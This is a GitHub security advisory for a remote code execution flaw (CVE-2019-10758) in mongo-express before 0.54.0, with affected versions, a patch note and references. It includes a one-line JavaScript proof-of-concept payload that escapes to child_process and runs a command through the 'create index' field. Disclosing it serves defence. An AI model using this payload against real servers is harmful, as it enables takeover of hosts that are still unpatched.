GHSA-h47j-hc6x-h3qq
Remote Code Execution Vulnerability in NPM mongo-express
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | mongo-express | < 0.54.0 | 0.54.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
Remote code execution on the host machine by any authenticated user.
### Proof Of Concept
Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:
```javascript
this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')
```
### Patches
Users should upgrade to version `0.54.0`
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [example link to repo](http://example.com)
* Email us at [example email address](mailto:[email protected])
#### Thanks
@JLLeitschuh for finding and reporting this vulnerability
This vulnerability has been [exploited](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758) in the wild.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq
- https://nvd.nist.gov/vuln/detail/CVE-2019-10758
- https://github.com/mongo-express/mongo-express/pull/522
- https://github.com/mongo-express/mongo-express/commit/7d365141deadbd38fa961cd835ce68eab5731494
- https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2
- https://github.com/mongo-express/mongo-express
- https://github.com/mongo-express/mongo-express/blob/ea02b364d43f179f191fc91fb9962efdb0843a8d/lib/bson.js#L60
- https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758